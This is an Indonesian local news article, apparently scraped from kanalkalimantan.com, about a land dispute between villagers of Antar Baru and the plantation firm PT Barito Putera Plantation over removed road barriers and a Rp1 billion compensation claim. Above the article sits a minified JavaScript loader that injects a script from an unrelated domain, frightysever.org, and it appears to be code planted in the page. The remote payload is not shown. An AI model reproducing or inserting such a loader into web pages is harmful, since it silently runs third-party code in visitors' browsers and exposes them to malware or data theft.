(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Soal Pembukaan Portal di Lahan Sengketa, PT BPP Beri Penjelasan


KANALKALIMANTAN.COM, MARABAHAN– Silang pendapat terkait pembongkaran portal yang dipasang warga Desa Antar Baru Kecamatan Marabahan dengan PT Barito Putera Plantation (BPP), mulai menemukan titik temu. Sebelumnya kelompok pengklaim dari Desa Antar Baru melalui tim penerima kuasa, menuding PT BPP telah merusak atau membuka portal yang mereka pasang di beberapa titik. Tudingan itu lantas berbuah tuntutan baru berupa ganti rugi sebesar Rp1 miliar.

Lantas untuk mempertegas tuntutan tersebut, tim penerima kuasa mendatangi Kamp PT BPP di Kilometer 10 Antar Baru, Kamis (13/2) siang. Pertemuan itu juga mendapatkan pengamanan dari Kodim 1005 Marabahan dan Polres Barito Kuala.

Dalam pertemuan tersebut, terungkap bahwa PT BPP mengklaim tetap berkomitmen dengan proses sengketa lahan yang sedang berjalan, sekaligus menolak tudingan merusak portal. “Awal kronologis terbukanya portal itu dimulai malam puncak perayaan Harjad Batola di Lapangan 5 Desember Marabahan. Untuk mencapai Marabahan via darat, banyak warga dari Kecamatan Kuripan, Desa Balukung dan termasuk dari PT TBM melintasi areal perkebunan kami ke Marabahan,” jelas Manajer Perkebunan PT BPP, Setiyono, Jumat (14/2).

“Kebetulan titik-titik yang dipasangi portal merupakan jalur alternatif yang menghubungkan Desa Balukung , Desa Palingkau dan Kec. Kuripan dengan Marabahan” imbuhnya.

Alasan PT BPP sempat disanggah tim penerima kuasa, karena tidak memberitahu keberadaan jalur alternatif tersebut, sebelum portal dipasang. “Kami tidak memberitahu, karena jalur alternatif itu tiba-tiba saja dipasangi portal. Bahkan pemasangan portal itu tak diberitahukan kepada kami sebelumnya.” beber Setiyono.

“Kami sepakat untuk bertemu kembali antara pimpinan perusahaan dengan tim penerima kuasa. Intinya kedua belah pihak tidak perlu membawa massa, lantaran titik yang perlu dibahas sudah mengerucut,” jelas Setiyono.

Sementara perwakilan tim penerima kuasa, Ardamis, berharap diperoleh putusan final dalam pertemuan selanjutnya. “Sedangkan status tanah diserahkan sepenuhnya kepada proses yang dilakukan Pemkab Batola,” tegasnya.

Pemortalan dilakukan sejak 12 Desember 2019 oleh kelompok pengklaim dari Desa Antar Baru bersama tim penerima kuasa. Mereka mengklaim kepemilikan atas lahan seluas 3.006 hektare lahan yang sudah digarap PT BPP sebagai pemilik Hak Guna Usaha (HGU).

Sengketa ini beberapa kali dibawa kelompok pengklaim dari Desa Antar Baru ke meja hijau. Putusan pertama berakhir dengan gugatan ditolak, karena cacat formil.

Persoalan ini disidangkan kembali di awal 2018. Namun sampai putusan kasasi, hakim menyatakan tanah tersebut memang milik negara yang dikuasakan kepada pemegang HGU. (kanalkalimantan.com/rdy)

Reporter : Rdy
Editor : Chell


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

5 menit ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

3 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

4 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

7 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

8 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

9 jam ago

This website uses cookies.